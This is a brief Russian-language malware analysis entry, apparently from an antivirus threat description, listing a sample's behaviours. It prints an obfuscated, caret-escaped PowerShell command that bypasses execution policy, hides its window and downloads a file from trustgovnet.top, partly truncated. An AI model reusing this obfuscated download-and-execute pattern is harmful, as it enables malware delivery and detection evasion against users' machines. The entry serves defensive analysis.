Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://trustgovnet.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOW^e^r^sH^el^L.^exE -^e^Xec^ut^iON^P^O^lICy b^YPa^S^s -^nO^PRofILE ^-^WIndOW^sT^yl^E ^hiD^dEN (N^EW-ob^j^E^Ct sYs^T^eM.NE^t^.web^CLIEn^T).^D^oWnlOa^dfile^('http://trustgovnet.top/...
Сетевая активность
UDP
- DNS ASK tr###govnet.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOW^e^r^sH^el^L.^exE -^e^Xec^ut^iON^P^O^lICy b^YPa^S^s -^nO^PRofILE ^-^WIndOW^sT^yl^E ^hiD^dEN (N^EW-ob^j^E^Ct sYs^T^eM.NE^t^.web^CLIEn^T).^D^oWnlOa^dfile^('http://trustgovnet.top/...' (со скрытым окном)
